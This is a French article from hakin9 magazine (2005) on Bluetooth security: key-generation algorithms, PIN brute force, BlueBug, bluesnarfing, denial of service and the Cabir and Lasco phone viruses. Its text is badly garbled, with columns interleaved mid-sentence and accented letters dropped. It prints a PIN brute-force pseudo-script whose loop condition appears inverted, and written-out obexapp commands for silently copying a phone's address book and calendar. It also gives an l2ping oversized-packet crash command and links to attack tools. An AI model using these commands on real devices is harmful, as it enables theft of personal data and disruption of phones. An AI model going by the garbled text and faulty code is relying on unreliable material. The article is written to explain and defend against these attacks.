endroits o l'on peut effectuer une attaque sans tre vu, tout en se trouvant trs gorithme E0. Cette taille dpend de
prs du priphrique attaqu. L'exemple le plus banal est le hall d'arrives d'un plusieurs facteurs entre autres, de
aroport.
la puissance de calcul du priphri-
que concern et de la lgislation du
pays d'origine. tant donn que dans
niveau 3 la protection au niveau entrantes ne sont effectues sans la communication peuvent participer
de la connexion rseau. parler du chiffrage des donnes des priphriques utilisant des cls
envoyes. Ce chiffrage est parfois de longueurs diffrentes, lors de
La plupart des priphriques sont effectu au niveau de l'application l'tablissement de la connexion chif-
configurs par dfaut de faon (2me niveau de protection). fre, elles ngocient la longueur de
fonctionner sans protection. Aucu- Mais Bluetooth permet d'effectuer la cl commune.
ne authentification (vrification de l'authentification et l'autorisation au ni- Le troisime niveau est ralis
l'identit) ni autorisation (dfinition veau de la connexion rseau il suffit travers la phase d'authentification
des droits d'accs) des connexions de configurer le priphrique de faon et d'autorisation. Son composant le
ce que celui-ci demande l'authenti- plus important est la cl de liaison.
fication, l'autorisation et le chiffrage Cette cl est utilise toujours quand
propos de l'auteur pour les connexions entrantes et en- il faut protger une connexion r-
Tomasz Rybicki est membre
voie lui-mme ces informations lors seau indpendamment du nombre
du MEAG (Mobile and Embed-
de l'initialisation d'une connexion. de priphriques participant la
ded Applications Group http://
Dans chaque priphrique utili- communication. La cl de liaison est
meag.tele.pw.edu.pl), l'quipe agis-
sant au sein de l'Institut de Tlcom- sant la technologie Bluetooth, cinq un nombre pseudo-alatoire, d'une
munication de l'cole Polytechnique lments assurant la scurit des longueur de 128 bits. Elle peut tre
de Varsovie. Il s'occupe des applica- connexions sont disponibles. Ces temporaire valide jusqu' la fin de
tions mobiles fonctionnant en tech- lments sont utiliss pour la gn- la session courante, ou permanente
nologie J2ME. Contact de l'auteur : ration des cls et l'implmentation du aprs la terminaison de la ses-
trybicki@autograf.pl. chiffrage au deuxime et troisime sion, elle peut tre exploite pour
niveau de protection : des authentifications ultrieures

hakin9 N o 4/2005 www.hakin9.org 13


des priphriques qui ont parti- jusqu'alors, la cl d'initialisation
cip la transmission termine. En est utilise. Cette cl est cre Bluetooth
fonction de l'application, du nombre partir des codes PIN saisis et algorithmes E
de priphriques prenant part la dans les deux priphriques, Pour la gnration de la cl, Bluetooth
communication et du type de cette de l'adresse du priphrique utilise quelques algorithmes. Les plus
dernire, la cl de liaison est gn- initialisant la communication importants sont E0, E21 et E22.
re de faons diffrentes : et du nombre pseudo-alatoire E0 est un algorithme de chiffrage
de 128 bits gnr par le pri- utilisant quatre registres indpen-
La cl de liaison peut constituer phrique recevant la communi- dants avec LFSR (Linear Feedback
Shift Registers) et un automate fini
la cl du priphrique. La cl du cation (algorithme E22). La cl
servant introduire un certain niveau
priphrique est une cl gnre cre de la sorte est utilise
de non-linarit, de faon empcher
l'aide de l'algorithme E21 lors pour transmettre la cl de liaison le calcul de l'tat des registres partir
de la premire mise en marche et est ensuite supprime. des observations de leurs donnes
du priphrique. Elle est stocke de sortie.
dans la mmoire non volatile et l'attaque ! E21 est un algorithme de gnra-
rarement change. Pendant l'ini- La premier dfaut essentiel du tion de la cl d'un priphrique, cr
tialisation de la connexion, c'est modle de protection admis est partir de l'algorithme SAFER+. E22
l'application en cours qui dcide l'algorithme E22. Pour calculer la est aussi une modification de l'algo-
quelle cl doit tre utilise. cl, il utilise le code PIN. Ce code rithme SAFER+ et ressemble trs fort
La cl de liaison peut tre une cl est le seul composant secret de cet E21 il est utilis pour gnrer la
cl de la connexion. Par contre, E3
combine, gnre partir des algorithme les autres sont envoys
est un algorithme de chiffrage de
informations provenant des pri- entre les priphriques sous forme
donnes.
phriques en communication. La claire. Ces algorithmes sont prsents
cl combine est cre pour une avec dtails dans la spcification du
paire de priphriques. Chaque Attaque sur E22 Bluetooth (https://www.bluetooth.org/
priphrique gnre un nombre Voyons un peu la phase d'initialisa- spec/).
pseudo-alatoire, et ce nombre, tion de la connexion entre deux p-
avec l'adresse du priphrique, riphriques qui ne communiquaient
est utilise pour gnrer con- jamais jusqu'alors. Admettons que le cl de liaison LK AB. Cette cl,
formment l'algorithme E21 priphrique B initialise la connexion avec le nombre pseudo-alatoire
la cl partielle. Les deux cls avec le priphrique A. Les phases CH_RANDA gnr par le priph-
partielles sont changes entre successives de l'tablissement d'une rique A, est utilise pour calculer
les priphriques et partir de connexion sont illustres sur la Fi- le nombre SRES. Le priphrique
celles-ci, les priphriques cal- gure 1. A accepte la connexion de la part
culent la cl combine. Tout d'abord, le priphrique A, du priphrique B seulement si la
En cas de communication en- en rponse la demande d'ta- valeur retourne par le priphri-
tre plusieurs priphriques, on blissement d'une communication que B, gnre partir du nombre
utilise la cl principale. Elle est envoye par le priphrique B, g- CH_RANDA envoy auparavant,
gnre par un priphrique nre (en tirant au sort) un nombre est gale la valeur calcule dans
jouant le rle du serveur. Ce pseudo-alatoire RAND (l'abrvia- le priphrique A. Cette dernire
priphrique cre deux nom- tion du mot anglais random). Ce tape peut tre inverse le pri-
bres pseudo-alatoires de 128 nombre est envoy en texte clair phrique B peut de la mme faon
bits. partir de ceux-ci, par le vers le priphrique B. partir de (en envoyant le nombre CH_RAN-
biais de l'algorithme E22, la cl ce nombre, des codes PIN saisis D B et en comparant le rsultat
principale est gnre. Ensuite, et de leurs longueurs, le nombre K renvoy avec leurs propres calculs)
le serveur gnre le troisime est gnr (il n'est jamais envoy vrifier le priphrique A.
nombre pseudo-alatoire qui est entre les priphriques). Ensuite, Les objectifs de l'attaque sont les
envoy au client. partir de ce les deux priphriques gnrent suivants le code PIN, la cl K utili-
Dossier

nombre et de la cl actuelle, la deux nombres alatoires, RANDA se pour la gnration de la cl de


cl de transmission est cre. Le et RAND B, et les renvoient rcipro- liaison LK, et enfin, la cl de liaison
serveur cre une cl tant une quement l'un l'autre (chiffrs sous en tant que telle (elle est utilise ul-
transformation XOR de la cl forme d'une disjonction exclusive trieurement pour la gnration de la
principale et de transmission et avec le nombre K). cl de chiffrage).
l'envoie au client, qui partir ce Ensuite, connaissant leurs Si l'on fait un petit effort, on peut
celle-ci, calcule la cl principale. adresses et leurs propres nombres intercepter les nombres RAND, CA,
Dans le cas de priphriques alatoires (RANDA et RAND B), CB, CH_RAND, SRESB. Pour ce faire,
qui ne communiquaient pas les priphriques gnrent la la synchronisation avec l'algorithme

14 www.hakin9.org hakin9 N o 4/2005


Scurit du Bluetooth

de saut de frquence (frequency


hopping) utilis dans le Bluetooth Listing 1. Le script calculant les valeurs SRES pour les valeurs
est exige, mais ce n'est pas facile. successives des numros PIN
Une autre faon consiste enregis- PIN=-1;
trer le spectre de frquence entier
et effectuer l'analyse et les calculs do
offline. Les deux faons ncessitent {
PIN++;
de l'quipement particulier (voire
CR_K = E22(RAND, PIN, length(PIN));
trs cher : un enregistreur du spec-
tre cote quelques milliers d'euros) CR_RANDA = CA xor CR_K;
et elles sont plutt inaccessibles un CR_RANDB = CB xor CR_K;
simple mortel.
CR_LKA= E21(CR_RANDA, ADDRA);
Mais admettons que les donnes
CR_LKB= E21(CR_RANDB, ADDRB);
du priphrique attaqu soient si
importantes que les cots de l'qui- CR_LKAB = CR_LKA xor CR_LKB;
pement ne compte pas. Aprs avoir
enregistr et analys le spectre, CR_SRES = (CH_RAND, ADDRB, CR_LKAB);

nous obtenons les nombres RAND,


} while (CR_SRES == SRES)
CA, CB, CH_RAND et SRESB.
Comment alors dterminer le PIN,
K et K AB ? L'algorithme consiste que CR_SRES=SRES, et de cela gnrs et les calculs sont effec-
calculer les valeurs SRES pour CR_LK A=LK A, CR_LKB =LKB, par tus. Cette mthode est assez
les valeurs successives du numro contre CR_K=K. commode car le code PIN est g-
PIN c'est une attaque par force Cette solution ncessite un nralement court (qui aurait envie
brutale (brute force). Le script cal- grand nombre de calculs et en cela, de taper un nombre de dix chiffres,
culant ces valeurs est prsent dans cette attaque est plutt de type sans parler de le mmoriser). De
le Listing 1. Aprs la terminaison de offline. Dans les tapes suivantes, plus, trs souvent, il a par dfaut
son fonctionnement, nous savons les numros successifs PIN sont la valeur 0000. Dans ce cas,

Figure 1. Les phases successives de l'tablissement d'une connexion entre deux priphriques Bluetooth

hakin9 N o 4/2005 www.hakin9.org 15


du priphrique A (il le connat dj
parce qu'il s'est dj connect au p-
riphrique A) envoye par le priph-
rique C pour appeler le priphrique
A, commence suivre la connexion
entre ces deux priphriques. Si la
cl du priphrique A est l'unique
cl de liaison entre A et C, le pri-
phrique B sera capable d'couter la
transmission.

Dtecter l'indtectable
Pour tablir une connexion rseau
l'aide du Bluetooth, l'adresse (URL)
du priphrique cible est ncessaire.
Pour obtenir les adresses de tous les
priphriques qui se trouvent proxi-
mit, il faut effectuer la recherche.
Cette opration consiste envoyer par
le priphrique un message appropri
Figure 2. La recherche des adresses des priphriques Bluetooth l'adresse broadcast. Les priphri-
ques fonctionnant en mode dtecta-
il n'est pas ncessaire d'effectuer Dissimulation ble coutent ces types de messages
les cycles de calculs. Une autre mthode d'attaque est et y ragissent par l'envoi d'un court
Un avantage supplmentaire l'utilisation de la cl du priphrique. message contenant, entre autres,
de cette attaque est la possibilit Envisageons le scnario suivant leurs adresses. Les priphriques qui
d'ajouter aux informations poss- les priphriques A et B commu- sont en mode indtectable ngligent
des, les donnes sur la cl de niquent entre eux l'aide de la cl ces messages et leurs adresses ne
chiffrage. Pour la gnrer, on uti- du priphrique A. Aprs un certain sont pas rendues publiques.
lise la cl de liaison actuelle LK, temps, le priphrique A se connec- Ce processus est prsent sur la
et le nombre pseudo-alatoire est te avec le priphrique C, en utili- Figure 2. Le priphrique A recher-
envoy (de nouveau) entre les p- sant aussi la cl du priphrique A. che les priphriques se trouvant
riphriques de faon non chiffre. Le priphrique B, possdant la proximit ; la couleur bleu signifie
Si vous connaissez la cl de liaison cl du priphrique A, peut sans que le priphrique trouv est en
(attaque sur E22) et le nombre problme couter la transmission, mode dtectable, rouge en mode
pseudo-alatoire, il est facile de ou mme se faire passer pour le indtectable. Comme vous voyez,
calculer la cl de chiffrage. priphrique C. tous les priphriques reoivent le
En pratique, une telle attaque message de requte (en anglais
Attaque sur le PIN (en ligne) peut tre effectue l'aide d'un inquiry), mais seuls les priphri-
Dans certaines situations, il est pos- ordinateur portable dot de la carte ques en mode dtectable rpon-
sible de se procurer le numro PIN Bluetooth. Lors de l'tablissement dent (c'est--dire les priphriques
en ligne. Certains priphriques pos- de la connexion, les deux priphri- B et C). Le priphrique D nglige le
sde un code PIN fixe contre les ques participant la communication message de requte.
attaques, il est protg seulement ngocient la cl de liaison qui sera On peut avoir l'impression qu'il est
par le temps exponentiel entre les utilise. En modifiant la structure de impossible d'tablir une connexion
tentatives d'authentification succes- la pile des protocoles, il est possible entre les priphriques fonctionnant
sives. Ce type de protection peut d'imposer que le priphrique atta- en mode indtectable. Mais ce n'est
tre facilement contourn il suffit, quant (ordinateur portable) demande pas vrai. Le priphrique en mode
Dossier

aprs chaque tentative d'authentifi- chaque fois l'utilisation de la cl du indtectable nglige les messages de
cation non russie (et le code PIN priphrique attaqu. Ainsi, l'as- requte, mais rpond aux messages
incorrect), de changer l'adresse du saillant (priphrique B) est capable adresss directement lui.
priphrique. Dans le cas d'un tl- de prendre connaissance de la cl Mais comment l'assaillant peut
phone ou PDA, cette opration sera du priphrique attaqu (priphri- connatre l'adresse d'un priphrique
plutt difficile, mais un ordinateur que A). d'une longueur de 48 bits ? Il peut,
portable muni d'une carte Bluetooth Une fois la connexion termine, par exemple, la gnrer. Et il n'a
offre de grandes possibilits de s'in- le priphrique B effectue l'coute pas besoin de 248 -1 combinaisons,
troduire dans la pile Bluetooth. au moment o il enregistre l'adresse comme on pourrait supposer.

16 www.hakin9.org hakin9 N o 4/2005


Scurit du Bluetooth

L'adresse d'un priphrique Blue-


Bluetooth sur la pile tooth est unique l'chelle mondiale
Chaque priphrique utilisant l'interface Bluetooth, autant un tlphone mobile et se compose de trois parties :
qu'un ordinateur personnel, possde une pile de protocoles Bluetooth. Cette pile
est prsente sur la Figure 3 ; elle se compose des couches suivantes : le champ LAP (Lower Address
Part) de 24 bits,
Bluetooth Radio et Bluetooth Baseband Link rpondent de l'mission des ondes
le champ UAP (Upper Address
radio,
Part) de 8 bits,
la couche Link Manager est responsable de l'tablissement de la connexion en-
le champ NAP (Non-significant
tre les priphriques, ainsi que de sa scurit et de la surveillance du transfert
des paquets, Address Part) de 16 bits.
Host Controller Interface constitue une interface aux couches infrieures du
systme, indpendante de la plate-forme matrielle, Le champ LAP contient l'identifiant
Logical Link Control and Application Protocol rpond de la transmission des du producteur, affect globalement.
donnes en mode de connexion (division des messages en paquets, QoS, Les champs UAP et NAP sont
etc.), gnrs par le producteur du pri-
Service Discovery Protocol donne accs aux services du niveau lev, lis phrique. Cela signifie qu'il y a uni-
la recherche des priphriques qui se trouvent proximit et la dtection quement 224 -1 possibilits (environ
des services offertes par ceux-ci,
16 millions combinaisons).
RFCOMM (Serial Emulation API) permet d'muler les connexions cble ainsi,
Pour dtecter tous les priph-
sur les priphriques dot du Bluetooth il est possible de lancer les applications
riques qui se trouvent proximit
utilisant le port srie pour se connecter,
OBEX, c'est--dire Object Exchange API permet d'changer des objets tels (y compris ceux qui sont en mode
que cartes de visite lectroniques ou notes dans l'agenda, envoys au format indtectable), il suffit de concevoir
vCard (vCalendar). Il est prsent dans les tlphones dots de l'interface IrDA un programme gnrant les adres-
(faisceaux infrarouges). ses successives et envoyant le mes-
sage qui appellera chacun d'eux.
Un lment supplmentaire qui doit tre disponible sur chaque priphrique Blue- Pour acclrer le fonctionnement
tooth est BCC, c'est--dire Bluetooth Control Center. BCC est un centre de comman-
du programme, on peut effecteur
de du module Bluetooth. Il permet, entre autres, d'activer ou de dsactiver le mode
des calculs simultans, en plusieurs
dtectable ou indtectable sur un priphrique, et mme de dsactiver compltement
trames.
le module Bluetooth.
La spcification du Bluetooth ne dtermine pas la faon d'implmenter le BCC Le code source du programme
cela peut tre ralis en tant qu'une position du menu du systme d'exploitation RedFang, permettant de dtecter
dans le tlphone cellulaire, en tant qu'API disponible partir du niveau du pro- les priphriques dont la fonction
gramme excut sur un priphrique ou sous forme de paramtres fixes (dans le non dtectable a t acti-
cas des priphriques, pas trop bien avancs). ve, est disponible l'adresse
http://www.securiteam.com/tools/
5JP0I1FAAE.html. Le scannage
complet du milieu, dans le cas de
la plage d'adresses d'un fabricant
(l'itration uniquement suivant UAP
et NAP), dure environ 90 minutes.

Scannage des ports


Un priphrique fonctionnant en
mode serveur donne accs cer-
tains services. Ces services sont dif-
fuss, c'est--dire, les associations
entre les services concrets (noms) et
les numros des ports sur lesquels
ils sont disponibles, sont cres
(la couche SDP, c'est--dire Service
Discovery Protocol de la pile Blue-
tooth cf. l'Encadr Bluetooth sur la
pile). Le client, en se connectant un
service (identifi d'aprs le nom), en
ralit se connecte un port concret
du priphrique fonctionnant en tant
Figure 3. La pile de protocoles Bluetooth que serveur.

hakin9 N o 4/2005 www.hakin9.org 17


videmment, pas tous les servi-
ces disponibles dans un priphri- Outils pour les intresss
que doivent tre diffuss. Un simple Il existe des outils qui ne servent pas attaquer directement les priphriques, mais
exemple l'utilisateur tlcharge qui sont employs collecter les informations sans laisser la moindre trace du proces-
partir d'Internet un gratuiciel de sus d'espionnage. Ces outils ne doivent pas tre ncessairement utiliss des fins
type PIM (Personal Information Ma- malicieuses vous pouvez les employer pour estimer le niveau de protection de vos
nager) permettant, l'aide du Blue- propres priphriques.
tooth, de planifier des rencontres L'un de ces programmes est Bluetooth Scanner. Il permet d'obtenir un grand
nombre d'informations sur le priphrique sans avoir tablir une connexion per-
ou d'changer des cartes de visite.
manente (l'change des cls, etc.). Le programme fonctionne sous Linux et il n-
Le programme diffuse le service
cessite la prsence de la pile Bluetooth (BlueZ). Il est disponible l'adresse http://
offert sur l'un des ports du priph- www.pentest.co.uk/cgi-bin/viewcat.cgi?cat=downloads&section=01_bluetooth.
rique. Mais il a une porte drobe Un autre outil trs intressant est BlueAlert tournant sous Windows. Il permet
(backdoor) sur un autre port, non de surveiller le milieu du point de vue de la prsence des priphriques Bluetooth.
diffus, il donne accs toutes les Aprs l'installation, la barre d'outils contient une icne informant l'utilisateur sur
donnes de l'utilisateur. Vu que ce les priphriques dots du Bluetooth qui sont disponibles proximit. Le pro-
service n'est pas diffus, seuls les gramme est tlcharger l'adresse http://www.tdksystems.com/software/apps/
priphriques mis dans le secret content.asp?id=4.
y ont accs.
Pour vrifier quels services
fonctionnent sur les ports spci- de plus srieuses actions. En (et plus prcisment, pseudosrie,
fiques du priphrique, on peut envoyant un message SMS partir c'est--dire RFCOMM cf. l'En-
utiliser un scanneur de ports d'un tlphone mobile Bluetooth cadr Bluetooth sur la pile) et de
par exemple le programme attaqu, l'assaillant peut connatre donner les commandes AT en texte
bt_audit disponible l'adresse son numro, et l'initialisation d'une clair (cf. l'Encadr Commandes
http://www.betaversion.net/btdsd/ connexion sonore permet d'couter AT). Si le priphrique n'est pas
download/bt_audit-0.1.tar.gz. Pour son propritaire. Il est aussi pos- protg, aucune authentification
plus de dtails sur l'espionnage sible de reprer le priphrique n'est exige.
des priphriques Bluetooth, rf- les oprateurs offrent dj ce ser- Comment savoir si un priphrique
rez-vous l'Encadr Outils pour les vice, et trs souvent, pour l'activer, est vulnrable l'attaque BlueBug ?
intresss. il suffit d'envoyer un message SMS On peut utiliser un sniffeur de Blue-
un numro donn. Parmi les tl- tooth, par exemple http://trifinite.org/
BlueBug phones vulnrables cette attaque trifinite_stuff_blooover.html. Il fonc-
BlueBug est une erreur d'impl- il faut noter les appareils tels que tionne en tant qu'application J2ME,
mentation de la pile Bluetooth se Nokia 6310, 6310i, 8910, 8910i ce qui veut dire qu'on peut le dmarrer
produisant sur certains priph- et Ericsson T610. sur chaque priphrique dot de Java
riques disponibles sur le march. Pour effectuer ce type d'attaque, et Bluetooth.
Cette erreur permet d'tablir une il suffit d'ouvrir la connexion socket Le programme (le code source en
connexion non autorise PPP avec sur le port srie du priphrique C) qui s'attaque au priphrique par
un priphrique, et ensuite, de lui
donner des commandes l'aide d'AT
(cf. l'Encadr Commandes AT).
Commandes AT
Les commandes AT ont t conues par l'entreprise Hayes Microcomputer Products
Dans la pratique, cela signifie
en vu de raliser les connexions avec les modems produits par cette entreprise.
qu'il est possible de prendre le prsent, le jeu de commandes AT dpend du type de modem (bien qu'il existe un jeu
contrle total du priphrique. Le de commandes de base pour les informations plus dtailles, il faut se rfrer la
pirate a accs non seulement aux documentation ou au site du fabricant d'un priphrique).
donnes enregistres dans le pri- Toutes les commandes commencent par les lettres AT (de l'anglais attention), d'o
phriques (SMS, carnet d'adresses, elles prennent leur nom. Elles permettent de commander et de diagnostiquer le mo-
etc.), mais aussi il peut commencer dem. Dans Linux, cette opration s'est fait par l'envoi des commandes (en mode texte)
Dossier

employer ce priphrique : ini- vers le port sur lequel le modem coute. Dans Windows, vous pouvez les envoyer soit
tialiser les connexions sonores ou travers l'HyperTerminal, soit l'aide de l'onglet Diagnostic (Diagnostics) dans les
proprits du modem dans le panneau de configuration.
envoyer des messages SMS. Ce
Les exemples des commandes AT :
type d'attaque est plus puissant
que cela pourrait paratre les ATA indique au modem qu'il doit rpondre l'appel,
pertes des donnes ou les pertes ATDn indique au modem de composer le numro n,
financires (p. ex. l'initialisation des ATLn volume du haut-parleur interne du modem (n=0 volume faible, n=3 volume
connexions avec les numros de ty- lev).
pe premium) ne sont que le prlude

18 www.hakin9.org hakin9 N o 4/2005


Scurit du Bluetooth

l'intermdiaire de BlueBug se trouve hccontrol sert, entre autres, Dans la dernire tape, vous saisis-
l'adresse http://www.saftware.de/ dtecter les priphriques se sez le nom sous lequel vous voulez
bluetooth/btxml.c. Le programme trouvant dans le voisinage, enregistrer le fichier :
tourne sous Linux et utilise son im- l2control affiche la liste des
plmentation de la pile Bluetooth, connexions tablies, get: local file > nom_du_fichier
BlueZ. Cette application permet, l2ping fonctionne de faon ana-
entre autres, de copier le carnet logue au programme ping. Une fois le tlchargement termin,
d'adresses partir d'un priphrique le message suivant s'affiche :
distant, et cela sans aucune authen- Ces utilitaires permettent de col-
tification. Bluesnarfer, disponible lecter les informations sur les Success, response:
l'adresse http://www.alighieri.org/ priphriques dots de Bluetooth OK, Success (0x20)
tools/bluesnarfer.tar.gz fonctionne qui se trouvent proximit. Mais
de faon similaire. pour attaquer un tlphone, nous Ainsi, vous avez accs tous les
nous servirons d'un autre outil fichiers du priphrique. Les plus
Bluejacking obexapp, disponible l'adresse intressants sont :
L'une des couches de la pile de http://www.geocities.com /m_ev-
protocoles Bluetooth est la couche menkin. Cet outil sera utilis pour telecom/pb.vcf, contenant le car-
OBEX (cf. l'Encadr Bluetooth sur charger des fichiers partir d'un net d'adresses,
la pile), prsente aussi dans les tlphone, l'insu et sans accord telecom/pb/luid/*.vcf les fi-
tlphones possdant l'interface du propritaire. chiers de cartes de visites enre-
IrDA. OBEX permet d'envoyer des Dans la premire tape, il faut gistrs dans le priphrique,
paquets anonymement (c'est--dire initialiser la connexion OBEX (cf. telecom/cal.vcs, contenant
sans authentification), sans devoir l'Encadr Bluetooth sur la pile) en l'agenda et le gestionnaire de
tablir une connexion (l'change de tapant la commande : tches.
cl) entre les priphriques. L'cran
du priphrique attaqu affiche une # obexapp -a BD_ADDR -f-C 10 Les noms de tous les fichiers que
inscription de type : l'on peut tlcharger sont disponibles
BD _ ADDR est l'adresse du priphri- sur les pages man de la commande
'You have been bluejacked' que avec lequel vous voulez vous obexapp. Pour pouvoir accder aux
received by Bluetooth connecter (pour le connatre, vous donnes dsires, il suffit d'ouvrir
pouvez utiliser le programme men- le fichier tlcharg dans un diteur
C'est un message informant qu'on tionn hccontrol). Le drapeau -f quelconque.
a obtenu l'objet appel You have indique au priphrique que l'on veut
been bluejacked. Cet objet peut tre se connecter au service de consulta- Attaque Denial of Service
une carte de visite ordinaire l'envoi tion des dossiers. Par contre l'option Certaines implmentations de la
des cartes de visite est une fonc- -C 10 dfinit que l'on veut se connec- pile Bluetooth sont vulnrables aux
tion standard offerte par plusieurs ter au service OBEX PUSH, permet- attaques de type DoS (Denial of
priphriques. l'adresse http:// tant d'envoyer et de tlcharger les Service). Cette attaque consiste
www.mulliner.org/palm/bluespam. fichiers partir du priphrique. envoyer un paquet modifi au
php, vous trouverez un programme Ainsi, vous avez accs la ligne priphrique. Ce paquet entrane le
(pour le systme PalmOS) permet- de commandes de la connexion plantage du fonctionnement de la
tant de dtecter et d'attaquer de la OBEX : pile Bluetooth.
sorte les priphriques proximit. En quoi consiste la modification
Heureusement, Bluejacking n'est pas obex> du paquet ? Chose trange, il chan-
dangereux pour les donnes stoc- ge uniquement la taille du paquet
kes dans le priphrique. Ensuite, vous commencez la ses- en suprieure 65536 octets. Ces
Certaines implmentations sion de tlchargement des fichiers attaques peuvent tre effectues
d'OBEX permettent aussi d'inter- partir du tlphone : l'aide des outils standards du pa-
cepter des fichiers de manire non quet Linux BlueZ il suffit de taper la
autorise. vrai dire, il n'est pas trop obex>get commande :
difficile d'effectuer ce type d'attaque.
Pour s'attaquer au Ericsson T610, on et vous entrez le nom du fichier t- $ l2ping s <taille_du_paquet>
utilisera FreeBSD. Aprs l'installation lcharger :
d'une carte approprie et l'initialisa- La faille permettant d'effectuer une
tion (en noyau ou en module) de la get: remote file telle attaque rsulte des erreurs
pile Bluetooth, FreeBSD donne accs (empty for default vCard)> dans l'implmentation de la pile
quelques outils trs intressants : nom_du_fichier Bluetooth et c'est pourquoi, elle

hakin9 N o 4/2005 www.hakin9.org 19


ne concerne que certains types pas. Si nous nous dcidons main- resse) des utilisateurs installant sans
de priphriques. Ce sont, entre tenant installer le programme rflchir les applications inconnues
autres les Nokia 6310(i), Nokia envoy, le message qui s'affiche permet ce virus de se propager.
6230, Nokia 6820, Nokia 7600 dissipe tous les doutes : Aprs l'installation, le virus cre
(le fabricant affirme que les pri- dans le systme les fichiers nu-
phriques vendus prsent n'ont Install caribe? mrs dans le Listing 2. Ensuite,
plus ce dfaut). il essaie de se diffuser dans tous les
Si vous rpondez positivement aussi priphriques muni du Bluetooth qui
Temps du vaccin cette question, le virus pourra tre se trouvent dans le voisinage (ind-
Depuis la fin de 2004, les virus install. On voit donc que le systme pendamment de leur type).
utilisant l'interface Bluetooth pour d'avertissements est assez efficace, C'est justement la plus grande
se propager deviennent de plus en et simplement la ngligence (ou la pa- menace la prsence du virus dans
plus populaires (cf. la rubrique En
abrg, hakin9 3/2005). Dernire-
ment, le virus Cabir (appel aussi Sur Internet
Caribe) tait trs frquent. Regar- https://www.bluetooth.org/spec la spcification du Bluetooth,
dons-le de prs. http://trifinite.org/trifinite_stuff_bluebug.html BlueBug,
http://trifinite.org/trifinite_stuff_blooover.html Blooover,
Comment Cabir fonctionne http://www.securiteam.com/tools/5JP0I1FAAE.html le code source de Red-
Cabir est diffus via le fichier appel Fang,
Caribe.sis tous les priphriques http://kennethhunt.com/archives/000786.html l'application RedFang,
qui se trouvent proximit et cou- http://www.astalavista.com/index.php?section=dir&cmd=file&id=2749 le front-
tent les radiomessages (paging). end pour RedFang,
Heureusement, cela signifie que http://bluesniff.shmoo.com le scanneur du Bluetooth,
http://www.pentest.co.uk/cgi-bin/viewcat.cgi?cat=downloads&section=01_blue-
notre cellulaire est protg quand
tooth btscanner 1.0,
il ne possde pas de Bluetooth,
http://www.tdksystems.com/software/apps/content.asp?id=4 BlueAlert,
ce module est dsactiv un mo- http://www.betaversion.net/btdsd/download/bt_audit-0.1.tar.gz le scanneur des
ment donn ou il n'coute pas les ports du Bluetooth,
connexions provenant des autres http://sourceforge.net/projects/bluez BlueZ, la pile de protocoles Bluetooth pour
priphriques (l'option Discoverable Linux,
dans BCC). Cabir est diffus entre http://www.saftware.de/bluetooth/btxml.c Bluetooth Phone Book Dumper (pour
les matriels agissant sous contrle BlueZ),
du systme Symbian. http://www.bluejackq.com/how-to-bluejack.shtml bluejacking,
Quand un priphrique conta- http://www.mulliner.org/palm/bluespam.php BlueSpam,
min se connecte au notre, un mes- http://www.alighieri.org/tools/bluesnarfer.tar.gz Bluesnarfer,
http://www.informit.com/articles/printerfriendly.asp?p=337071&rl=1 le code
sage similaire s'affiche :
source de Dust,
http://mobile.f-secure.com l'anti-virus pour Lasco,
Receive message via Bluetooth http://www.f-secure.com/v-descs/lasco_a.shtml la description dtaille de
from [device name]? Lasco,
http://www.swedetrack.com/images/bluet11.htm frequency hopping,
C'est la premire occasion de se pro- http://www.giac.org/certified_professionals/practicals/gcia/0708.php l'attaque
tger contre l'infection. Si vous n'at- sur le tlphone mobile Ericsson T610 partir de FreeBSD,
tendez aucun message ou le nom http://www.betaversion.net/btdsd/download/T610_address_dump_obexftp.txt
du priphrique est inconnu, il faut le rsultat du scannage des ports du tlphone Ericsson T610.
rejeter cette connexion. Cependant,
si vous ne l'avez pas fait, le message
suivant apparat :
Glossaire
Dossier

Application is untrusted and


Authentification le processus consistant dterminer l'identit de l'expditeur
may have problems. Install only et du destinataire des messages.
if you trust provider.
Autorisation le processus consistant attribuer les droits d'accs un expditeur
ou un destinataire.
Ce message est plus catgorique Bluejacking l'envoi des objets (par exemple des cartes de visite) vers un priph-
et devra veiller nos soupons. Mais rique Bluetooth anonymement, sans devoir tablir la connexion.
il se peut que notre priphrique Frequency hopping le changement de canal de communication fait 1600 fois par
attende une connexion et que ces ty- seconde par les priphriques utilisant Bluetooth.
pes de messages ne nous inquitent

20 www.hakin9.org hakin9 N o 4/2005


Scurit du Bluetooth

Ce qui diffrencie Lasco de Cabir


Listing 2. Les fichiers crs dans le systme par le virus Cabir est la contamination des fichiers .sis
C:\SYSTEM\APPS\CARIBE\CARIBE.APP
disponibles dans le priphrique. Si
C:\SYSTEM\APPS\CARIBE\CARIBE.RSC l'on lance un tel fichier, le systme
C:\SYSTEM\APPS\CARIBE\FLO.MDL devient de plus en plus contamin.
C::\SYSTEM\SYMBIANSECUREDATA\CARIBESECURITYMANAGER\CARIBE.APP Les fichiers infects ne sont pas
C:\SYSTEM\SYMBIANSECUREDATA\CARIBESECURITYMANAGER\CARIBE.RSC
diffuss seul le fichier principal du
C:\SYSTEM\SYMBIANSECUREDATA\CARIBESECURITYMANAGER\CARIBE.SIS
C:\SYSTEM\RECOGS\FLO.MDL
virus se propage.
C:\SYSTEM\INSTALLS\CARIBE.SIS Pendant l'installation, le virus
cre les fichiers suivants :

le tlphone est le rsultat de la programme malicieux infecte tous c:\system\apps\velasco\velasco.rsc


ngligence, quand on ne lit pas les les fichiers .exe qui se trouvent dans c:\system\apps\velasco\velasco.app
avertissements mis par le systme chaque rpertoire principal du pri- c:\system\apps\velasco\flo.mdl
d'exploitation, mais dans les pri- phrique et y ajoute son code. Aprs
phriques sans interface graphique, le dmarrage et l'excution du code Aprs le lancement du programme,
cela est la consquence d'un instant du virus, ces fichiers fonctionnent ils sont copis dans les emplace-
d'inattention. tout fait normalement. Le pro- ments suivants :
Le virus agissant dans un pri- gramme n'utilise pas de connexions
phrique recherche constamment rseau pour se propager. c:\system\recogs\flo.mdl
les matriels proximit et leur en- De mme que Cabir, il est ce c:\system\
voie son code. L'unique consquen- qu'on appelle proof of concept, c'est- symbiansecuredata\
ce de son fonctionnement est une -dire le programme crit pour d- velasco\velasco.app
consommation leve de la batterie montrer une conception. Cela signifie c:\system\
et un trafic rseau important. que le code contient les mcanismes symbiansecuredata\
limitant la propagation (mais cela ne velasco\velasco.rsc
Comment liminer le virus dpend que d'une bonne volont du
Pour neutraliser efficacement le vi- programmeur) aprs le dmarrage, Tout cela a lieu probablement pour
rus, il suffit de supprimer les fichiers le programme demande l'utilisateur rendre plus difficile l'limination du
mentionns ci-dessus. Pour ce faire, de pouvoir se propager, mais il con- virus et se protger contre la situa-
